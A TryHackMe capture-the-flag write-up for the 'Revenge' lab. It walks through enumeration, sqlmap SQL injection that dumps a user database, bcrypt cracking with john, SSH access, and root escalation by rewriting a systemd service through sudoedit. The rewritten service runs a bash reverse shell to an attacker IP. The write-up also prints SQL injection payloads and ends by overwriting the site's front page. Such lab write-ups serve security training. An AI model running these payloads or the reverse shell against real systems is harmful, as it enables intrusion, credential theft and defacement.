TryHackMe - Revenge
Billy Joel has sent you a message regarding your mission. Download it, read it and continue on
To whom it may concern,
I know it was you who hacked my blog. I was really impressed with your skills. You were a little sloppy
and left a bit of a footprint so I was able to track you down. But, thank you for taking me up on my offer.
I've done some initial enumeration of the site because I know *some* things about hacking but not enough.
For that reason, I'll let you do your own enumeration and checking.
What I want you to do is simple. Break into the server that's running the website and deface the front page.
I don't care how you do it, just do it. But remember...DO NOT BRING DOWN THE SITE! We don't want to cause irreparable damage.
When you finish the job, you'll get the rest of your payment. We agreed upon $5,000.
Half up-front and half when you finish.
Good luck,
Billy
This is revenge! You’ve been hired by Billy Joel to break into and deface the Rubber Ducky Inc. webpage. He was fired for probably good reasons but who cares, you’re just here for the money. Can you fulfill your end of the bargain?
There is a sister room to this one. If you have not completed Blog yet, I recommend you do so. It’s not required but may enhance the story for you.
All images on the webapp, including the navbar brand logo, 404 and 500 pages, and product images goes to Varg. Thanks for helping me out with this one, bud.
Please hack responsibly. Do not attack a website or domain that you do not own the rights to. TryHackMe does not condone illegal hacking. This room is just for fun and to tell a story.
Title | Revenge |
---|---|
Difficulty | Medium |
Author | NameLess0ne |
Tags | security, sqlmap, real-world, enumeration |
Enumeration
Nmap
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn revenge.thm
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-19 07:16 EDT
Warning: 10.10.148.138 giving up on port because retransmission cap hit (10).
Nmap scan report for revenge.thm (10.10.148.138)
Host is up (0.25s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 20.75 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 22,80 revenge.thm
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-19 07:18 EDT
Nmap scan report for revenge.thm (10.10.148.138)
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72:53:b7:7a:eb:ab:22:70:1c:f7:3c:7a:c7:76:d9:89 (RSA)
| 256 43:77:00:fb:da:42:02:58:52:12:7d:cd:4e:52:4f:c3 (ECDSA)
|_ 256 2b:57:13:7c:c8:4f:1d:c2:68:67:28:3f:8e:39:30:ab (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Home | Rubber Ducky Inc.
|_http-server-header: nginx/1.14.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (93%), Linux 2.6.39 - 3.2 (93%), Linux 3.1 - 3.2 (93%), Linux 3.11 (93%), Linux 3.2 - 4.9 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 250.47 ms 10.9.0.1
2 263.19 ms revenge.thm (10.10.148.138)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.84 seconds
HTTP (port 80
) - Fuzzing Dirs
┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -t 40 --no-error -u http://revenge.thm/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://revenge.thm/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 8541]
/products (Status: 200) [Size: 7254]
/contact (Status: 200) [Size: 6906]
/login (Status: 200) [Size: 4980]
/static (Status: 301) [Size: 194] [--> http://revenge.thm/static/]
/admin (Status: 200) [Size: 4983]
SQL Injection
Using sqlmap
to enumerate the paths of the target server, I explore this path is injectable with SQL Injection:
http://revenge.thm/products/1
So I start to dump all the databases:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://revenge.thm/products/1 --dbs --batch
[...]
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://revenge.thm/products/1 AND 9497=9497
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://revenge.thm/products/1 AND (SELECT 5874 FROM (SELECT(SLEEP(5)))GJDV)
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: http://revenge.thm/products/-5717 UNION ALL SELECT 69,69,69,69,CONCAT(0x716a786271,0x75746344647543736f66754677455679466c4f5a53506b794675764f5058477946576869516a4d47,0x716a716b71),69,69,69-- -
---
[...]
[08:05:10] [INFO] fetching database names
available databases [5]:
[*] duckyinc
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
Next, I focus on the duckyinc which is not the default database of MySQL and must contain sensitive data:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://revenge.thm/products/1 --dump -D duckyinc --batch
[...]
Database: duckyinc
Table: system_user
[3 entries]
+----+----------------------+--------------+--------------------------------------------------------------+
| id | email | username | _password |
+----+----------------------+--------------+--------------------------------------------------------------+
| 1 | sadmin@duckyinc.org | server-admin | $2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2GoebUtPfT8a |
| 2 | kmotley@duckyinc.org | kmotley | $2a$12$LEENY/LWOfyxyCBUlfX8Mu8viV9mGUse97L8x.4L66e9xwzzHfsQa |
| 3 | dhughes@duckyinc.org | dhughes | $2a$12$22xS/uDxuIsPqrRcxtVmi.GR2/xh0xITGdHuubRF4Iilg5ENAFlcK |
+----+----------------------+--------------+--------------------------------------------------------------+
[...]
Database: duckyinc
Table: user
[10 entries]
+----+---------------------------------+------------------+----------+--------------------------------------------------------------+----------------------------+
| id | email | company | username | _password | credit_card |
+----+---------------------------------+------------------+----------+--------------------------------------------------------------+----------------------------+
| 1 | sales@fakeinc.org | Fake Inc | jhenry | $2a$12$dAV7fq4KIUyUEOALi8P2dOuXRj5ptOoeRtYLHS85vd/SBDv.tYXOa | 4338736490565706 |
| 2 | accountspayable@ecorp.org | Evil Corp | smonroe | $2a$12$6KhFSANS9cF6riOw5C66nerchvkU9AHLVk7I8fKmBkh6P/rPGmanm | 355219744086163 |
| 3 | accounts.payable@mcdoonalds.org | McDoonalds Inc | dross | $2a$12$9VmMpa8FufYHT1KNvjB1HuQm9LF8EX.KkDwh9VRDb5hMk3eXNRC4C | 349789518019219 |
| 4 | sales@ABC.com | ABC Corp | ngross | $2a$12$LMWOgC37PCtG7BrcbZpddOGquZPyrRBo5XjQUIVVAlIKFHMysV9EO | 4499108649937274 |
| 5 | sales@threebelow.com | Three Below | jlawlor | $2a$12$hEg5iGFZSsec643AOjV5zellkzprMQxgdh1grCW3SMG9qV9CKzyRu | 4563593127115348 |
| 6 | ap@krasco.org | Krasco Org | mandrews | $2a$12$reNFrUWe4taGXZNdHAhRme6UR2uX..t/XCR6UnzTK6sh1UhREd1rC | thm{[REDACTED]} |
| 7 | payable@wallyworld.com | Wally World Corp | dgorman | $2a$12$8IlMgC9UoN0mUmdrS3b3KO0gLexfZ1WvA86San/YRODIbC8UGinNm | 4905698211632780 |
| 8 | payables@orlando.gov | Orlando City | mbutts | $2a$12$dmdKBc/0yxD9h81ziGHW4e5cYhsAiU4nCADuN0tCE8PaEv51oHWbS | 4690248976187759 |
| 9 | sales@dollatwee.com | Dolla Twee | hmontana | $2a$12$q6Ba.wuGpch1SnZvEJ1JDethQaMwUyTHkR0pNtyTW6anur.3.0cem | 375019041714434 |
| 10 | sales@ofamdollar | O! Fam Dollar | csmith | $2a$12$gxC7HlIWxMKTLGexTq8cn.nNnUaYKUpI91QaqQ/E29vtwlwyvXe36 | 364774395134471 |
+----+---------------------------------+------------------+----------+--------------------------------------------------------------+----------------------------+
Beside I luckily observe the first flag from table user
, I get more excited on the username
and hash password from table system_user
Crack hash
Therefore, I save the hash passwords and their usernames on my local machine.
┌──(kali㉿kali)-[~/TryHackMe/revenge]
└─$ cat hash_pass.txt
server-admin:$2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2GoebUtPfT8a
kmotley:$2a$12$LEENY/LWOfyxyCBUlfX8Mu8viV9mGUse97L8x.4L66e9xwzzHfsQa
dhughes:$2a$12$22xS/uDxuIsPqrRcxtVmi.GR2/xh0xITGdHuubRF4Iilg5ENAFlcK
After identifying them as bcrypt type of hash which is usually begin with the pattern $2a$
, I crack them with john
:
┌──(kali㉿kali)-[~/Wordlists]
└─$ john -w=~/Wordlists/rockyou.txt ~/TryHackMe/revenge/hash_pass.txt --format=bcrypt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 256 to 4096
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED] (server-admin)
1g 0:00:03:16 0.02% (ETA: 2023-10-28 23:17) 0.005093g/s 21.08p/s 43.45c/s 43.45C/s katty..1angel
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
However, only 1 password of user server-admin could be cracked. Hope that user would be available on the target machine, not only used on the web page!
Gain Access
I establish ssh connection with the creds found above and connect to the system sucessfully:
┌──(kali㉿kali)-[~]
└─$ ssh server-admin@revenge.thm
server-admin@revenge.thm's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information disabled due to load higher than 1.0
8 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
################################################################################
# Ducky Inc. Web Server 00080012 #
# This server is for authorized Ducky Inc. employees only #
# All actiions are being monitored and recorded #
# IP and MAC addresses have been logged #
################################################################################
Last login: Thu Oct 19 12:25:12 2023 from 10.9.63.75
server-admin@duckyinc:~$
The flag2 is now discovered:
server-admin@duckyinc:~$ ls -l
total 4
-rw-r----- 1 server-admin server-admin 18 Aug 10 2020 flag2.txt
server-admin@duckyinc:~$ cat flag2.txt
thm{[REDACTED]}
Vertical Privilege Escalation
Since I knew the user’s password, I can use sudo -l
command to list all the commands that invoking my current user:
server-admin@duckyinc:~$ sudo -l
Matching Defaults entries for server-admin on duckyinc:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User server-admin may run the following commands on duckyinc:
(root) /bin/systemctl start duckyinc.service, /bin/systemctl enable duckyinc.service, /bin/systemctl restart
duckyinc.service, /bin/systemctl daemon-reload, sudoedit /etc/systemd/system/duckyinc.service
It’s quite many commands and might confuse me. But if I look at them carefully, I can easy to realize that there are only 2 services that are available to execute:
- duckyinc.service
- daemon-reload
To know what the duckyinc.service does, I locate it at /etc/systemd/system/duckyinc.service
and read its content:
[Unit]
Description=Gunicorn instance to serve DuckyInc Webapp
After=network.target
[Service]
User=flask-app
Group=www-data
WorkingDirectory=/var/www/duckyinc
ExecStart=/usr/local/bin/gunicorn --workers 3 --bind=unix:/var/www/duckyinc/duckyinc.sock --timeout 60 -m 007 app:app
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s TERM $MAINPID
[Install]
WantedBy=multi-user.target
Just like other services within format as *.service, it also has some simple options:
- User
- Group
- ExecStart
Because I have the permission of using sudoedit
to modify the service, I use it to change these values to make me become root user within a reverse shell when I restart this service:
[Unit]
Description=Gunicorn instance to serve DuckyInc Webapp
After=network.target
[Service]
#User=flask-app
User=root
#Group=www-data
Group=root
#WorkingDirectory=/var/www/duckyinc
WorkingDirectory=/root
#ExecStart=/usr/local/bin/gunicorn --workers 3 --bind=unix:/var/www/duckyinc/duckyinc.sock --timeout 60 -m 007 ap$
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.9.63.75/4444 0>&1'
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s TERM $MAINPID
[Install]
WantedBy=multi-user.target
I start a listener on local machine and then execute these commands:
server-admin@duckyinc:~$ sudo /bin/systemctl daemon-reload
server-admin@duckyinc:~$ sudo /bin/systemctl restart duckyinc.service
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.254.18] 59294
bash: cannot set terminal process group (13985): Inappropriate ioctl for device
bash: no job control in this shell
root@duckyinc:~# whoami;id;pwd
whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root
Now I am root but I do not see the flag3 in the /root
directory:
root@duckyinc:~# ls -la
ls -la
total 52
drwx------ 7 root root 4096 Aug 28 2020 .
drwxr-xr-x 24 root root 4096 Aug 9 2020 ..
drwxr-xr-x 2 root root 4096 Aug 12 2020 .bash_completion.d
lrwxrwxrwx 1 root root 9 Aug 10 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3227 Aug 12 2020 .bashrc
drwx------ 3 root root 4096 Aug 9 2020 .cache
drwx------ 3 root root 4096 Aug 9 2020 .gnupg
drwxr-xr-x 5 root root 4096 Aug 12 2020 .local
-rw------- 1 root root 485 Aug 10 2020 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 66 Aug 10 2020 .selected_editor
drwx------ 2 root root 4096 Aug 9 2020 .ssh
-rw------- 1 root root 7763 Aug 12 2020 .viminfo
I get confused for awhile after trying various ways to find out the flag3. So I decided to read the Hints and it says Mission objectives. Oh! It means there is a mission that I have missed. I check out the notes from Billy, read it carefully and figure out the actual mission:
What I want you to do is simple. Break into the server that's running the website and deface the front page.
As Billy said, I need to deface - destroy, overwrite - the web page. Then, I navigate to /var/www/duckyinc/templates
and verify that the index.html which is the default page and also referred as front page does exist:
root@duckyinc:~# cd /var/www/duckyinc/templates
cd /var/www/duckyinc/templates
root@duckyinc:/var/www/duckyinc/templates# ls -l
ls -l
total 44
-rw-rw---- 1 flask-app www-data 768 Aug 9 2020 404.html
-rw-rw---- 1 flask-app www-data 759 Aug 9 2020 500.html
-rw-rw---- 1 flask-app www-data 1231 Aug 9 2020 admin.html
-rw-rw---- 1 flask-app www-data 4509 Aug 9 2020 base.html
-rw-rw---- 1 flask-app www-data 3506 Aug 9 2020 contact.html
-rw-rw---- 1 flask-app www-data 5084 Aug 28 2020 index.html
-rw-rw---- 1 flask-app www-data 1225 Aug 9 2020 login.html
-rw-rw---- 1 flask-app www-data 1280 Aug 9 2020 product.html
-rw-rw---- 1 flask-app www-data 3654 Aug 9 2020 products.html
I simply use echo
to overwrite the index.html:
root@duckyinc:/var/www/duckyinc/templates# echo "deface..." > index.html
echo "deface..." > index.html
Then back to /root
directory and surprisingly that the flag3.txt appears:
root@duckyinc:/var/www/duckyinc/templates# ls -la /root
ls -la /root
total 56
drwx------ 7 root root 4096 Oct 19 12:54 .
drwxr-xr-x 24 root root 4096 Aug 9 2020 ..
drwxr-xr-x 2 root root 4096 Aug 12 2020 .bash_completion.d
lrwxrwxrwx 1 root root 9 Aug 10 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3227 Aug 12 2020 .bashrc
drwx------ 3 root root 4096 Aug 9 2020 .cache
-rw-r--r-- 1 root root 26 Oct 19 12:55 flag3.txt
drwx------ 3 root root 4096 Aug 9 2020 .gnupg
drwxr-xr-x 5 root root 4096 Aug 12 2020 .local
-rw------- 1 root root 485 Aug 10 2020 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 66 Aug 10 2020 .selected_editor
drwx------ 2 root root 4096 Aug 9 2020 .ssh
-rw------- 1 root root 7763 Aug 12 2020 .viminfo
root@duckyinc:/var/www/duckyinc/templates# cat /root/flag3.txt
cat /root/flag3.txt
thm{[REDACTED]}